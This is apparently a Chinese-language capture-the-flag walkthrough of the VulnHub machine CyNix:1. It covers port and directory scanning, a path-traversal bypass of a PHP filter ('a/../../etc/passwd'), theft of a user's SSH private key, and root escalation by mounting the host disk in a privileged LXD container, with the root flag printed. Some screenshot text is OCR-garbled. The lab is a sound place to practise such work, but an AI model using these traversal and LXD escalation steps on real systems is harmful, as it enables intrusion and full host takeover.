靶机系列测试教程 CyNix:1

1 简介

2 交流平台

随着教程的推出,看视频的人也越来越多,随之而来的问题也增多,本人平时非常忙,难以有时间回复大家的问题,特意建立了一个 QQ 群,里面有很多这方面的高手,有什么不懂的,请到群里提问,咨询问题的时候,一定要详细,不然没人会回复你,另外本人有时间会在群内直播测试靶机,还没加上群的赶快加上了。

交流 QQ 群

微信号



博客 www.moonsec.com

2.1 靶机介绍

描述	说明				
Difficulty	Intermediate-Hard				
Flag	2 Flag first user And second root				
Description	It's a Boot2Root machine. The machine is VirtualBox compatible but can be used in				
	VMWare as well (not tested but it should work). The DHCP will assign an IP				
	automatically. You have to find and read two flags (user and root) which is present				
	in user.txt and root.txt respectively. Enjoy pwning it!				

下载地址

https://www.vulnhub.com/entry/cynix-1,394/

难度 中等

3 靶机测试

3.1 信息收集

3.1.1 nmap 扫描

nmap -p- -T5 192.168.0.167 -oN CyNix-ports

```
wootRkali:~/CyNix# nmap -p- -T5 192.168.0.167 -oN CyNix-ports
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-27 20:19 AKST
Nmap scan report for 192.168.0.167
Host is up (0.0054s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
80/tcp open http
6688/tcp open clever-tcpip
MAC Address: 40:A5:EF:46:69:0A (Shenzhen Four Seas Global Link Network Technology)
```

nmap -p 80,6688 -sV -A -T5 192.168.0.167



3.2 目录文件扫描

gobuster dir -u http://192.168.0.167 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt



gobuster dir -u http://192.168.0.167/lavalamp -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt



3.3 敏感信息查找

访问主页查找大致浏览一番找能利用的地方



24/7 Access

 ① 192.168.0.167/lavalamp/ Kali Tools ④ Kali Docs × Kali Forums × NetHunter ④ Offensive Security 	••• 🖂 • Exploit-DB	☆ GHDB	III\ 団 ⊕ MSFU	۹
	HOME A	BOUT	CONTACT	
CONTACT US Kindly reach out to us by filling the form below if you have ar querles.	У			
Your Name				
Your Email				

发现留言板 输入测试抓包分析

Dashboard Target Proxy intercept HTTP history We Request to http://192.168.0.1 Forward Drop Raw Params Headers H 0ST / lavalamp/canyoubypassr lost: 192.168.0.167 Iser-Agent: Mozilla/5.0 (X1: ccept: */*	Intruder Repeater bSockets history Op 67:80 Intercept is o ex 1e.php HTTP/1.1	Sequencer otions	Decoder	Comparer E	xtender Pro	oject options	User options
Intercept HTTP history We Request to http://192.168.0.1 Forward Drop Raw Params Headers H 0ST / lavalamp/canyoubypassr Jost 192.168.0.167 Iser-Agent: Mozilla/5.0 (X11:ccept: */*	bSockets history Op 67:80 Intercept is c ex 1e.php HTTP/1.1	on Act	tion				
Request to http://192.168.0.1 Forward Drop Raw Params Headers H POST /lavalamp/canyoubypassr Iost: 192.168.0.167 Jser-Agent: Mozilla/5.0 (X1: Accept: */*	e7:80 Intercept is c ex ne.php HTTP/1.1	on Act	tion				
Forward Drop Raw Params Headers H OST /lavalamp/canyoubypass lost: 192.168.0.167 iser-Agent: Mozilla/5.0 (X12) .ccept: */*	ex ne.php HTTP/1.1	on Act	tion				
Raw Params Headers H OST /lavalamp/canyoubypass fost: 192.168.0.167 Iser-Agent: Mozilla/5.0 (X1: iccept: */*	ex ne.php HTTP/1.1						
OST /lavalamp/canyoubypass Host: 192.168.0.167 Jser-Agent: Mozilla/5.0 (X1: Accept: */*	ne.php HTTP/1.1						
Accept-Language: en-US,en;q- Accept-Encoding: gzip, defit Referer: http://192.168.0.11 Content-Type: application/x: X-Requested-With: XMLHttpRe(Content-Length: 102 Connection: close name=%3Cp%3Es%3C%2Fp%3E6ema	:; LINUX X86_64; FY =0.5 ste 77/lavalamp/ -www-form-urlencod/ quest il=moon%40moonsec.	v:68.0) Geck ed; charset= com&subject=	0/20100101 UTF-8 %3Cp%3Es%30	Firefox/68.0	age=%3Cp%3E	s%3C%2Fp%3E	

提交之后显示一个框



这个框也是指向这个链接 canyoubypassme.php

3.4 绕过 canyoubypassme.php 文件

3.4.1 分析 PHP 文件



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③ 192.168.0.167/lavalamp/canyoubypassme.php

🕻 Kali Tools 🖨 Kali Docs 🥆 Kali Forums 🥆 NetHunter 🖨 Offensive Security 🔸 Exploit-DB



标题提示我在这里下手,绕过这个 php 先简单看源码



这里有一个 post 提交。之后在图片的左上方点一下发现会出来一个输入框。



如果找不到输入框把源码保存下来去掉图片修改提交 url 提交也可以。或者直接抓包和构造提交搞也行。

3.5 最终绕过方法

3.5.1 burpsuite 抓包分析



看到 file 初步估计这个里一个包含或者是一个本地文件读取漏洞 需要你绕过它。想要绕过真的有点 难。

3.5.2 ip 转换知识

https://rixx.de/blog/fun-legacy-ip-addresses/



3.5.3 读取/etc/passwd 文件



3.6 ssh 登录目标

读取用户 ford .ssh 目录下的 id_rsa 密钥



保存到本地 设置权限 600

chmod 600 id_rsa

ssh -i id_rsa ford@192.168.0.167 -p6688



3.7 得到 usert.txt



3.8 分析 canyoubypassme.php



 $if((strstr(strtolower(\$file), 'localhost') == true \parallel strstr(\$file, '127.0.0.1') == true \parallel strstr(\$file, '2130706433') == true \parallel strstr(\$file, '[::]:80') == true) \&\& preg_match('/(^https*:\/\[^::\]+)/', \$file)==true)$

数字 2130706433

true && preg_match('/(^https*: $\forall \forall [^: \forall] +)$ /', \$file)==true) [flase]

true && false 等于 false

跳到这个地方 elseif(strstr(\$file, 'localhost') == false && preg_match('/(^https*:\/\[^:\]+)/', \$file)==true)

2130706433 strstr(file, 'localhost') == false true preg_match('/(^https*: $\forall \forall [^: \forall] +)/'$, file)==true) false

true && false 等于 false

2130706433 最后来到这个部分 2130706433 同样是 false elseif (substr(\$file, 0, strlen("/../")) === "/../" || substr(\$file, 0, strlen("../")) === "../" || substr(\$file, 0, strlen("/.")) === "/." || substr(\$file, 0, strlen("/.")] == "/." || substr(\$file, 0, strlen("/.")] === "/." || substr(\$file, 最后就是到

else {

```
echo '<textarea rows=20 cols=60>'.file_get_contents("/tmp/".$file)."</textarea>";
```

}

相信很多巨佬看到最后都笑了。 其实绕过这个文件 就是在前面加上任何一个字符 加上/

例如

a/../../etc/passwd



3.9 提权提升

3.10 查看当前用户权限

ford@blume:/var/www/html/lavalamp\$ id uid=1000(ford) gid=1000(ford) groups=1000(ford),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),113(lxd) ford@blume:/var/www/html/lavalamp\$ groups ford cdrom dip plugdev lpadmin sambashare lxd ford@blume:/var/www/html/lavalamp\$ _______

发现是 lxd 组 故可以用 lxd 提权

3.11 查看镜像列表

lxc image list

3.11.1 创建特权容器

lxc init ubuntu:18.04 moonsec -c security.privileged=true

会自动下载 ubuntu 18.04 并且命名为 moonsec 这种下载速度很慢

3.11.2 GitHub 库下载构建好的 Alpine

git clone https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder ./build-alpine

3.11.3 导入 images

python -m SimpleHTTPServer 99 wget http://192.168.0.164:99/alpine-v3.11-x86 64-20191228 0016.tar.gz

lxc image import ./alpine-v3.11-x86_64-20191228_0016.tar.gz --alias mymoon

ford@blume:/tmp\$ lxc image list								
ALIAS	FINGERPRINT	PUBLIC	DESCRIPTION DESCRIPTION	ARCH	SIZE	UPLOAD DATE		
mymoon	0ee6a86c0e7b	no	alpine v3.11 (20191228_00:16)	x86_64	3.04MB	Dec 28, 2019 at 9:21am (UTC)		

3.11.4 创建容器

lxc init mymoon mymoon -c security.privileged=true lxc config device add mymoon mymoon disk source=/ path=/mnt/root recursive=true 在/mnt/root 下挂载整个磁盘 lxc start mymoon 启动容器 lxc exec mymoon /bin/sh 与容器交换



3.11.5 得到 user.txt

cat /mnt/root/root.txt

uid=0(root) gid=0(root) ~ # cat /mnt/root/root/root.txt Oh Yeah! Finally Pwned! Here's your root flag: b0f971eddce7bd007e9f50ca02f5fe11 https://www.linkedin.com/in/sumit-verma-125576129/ ~ #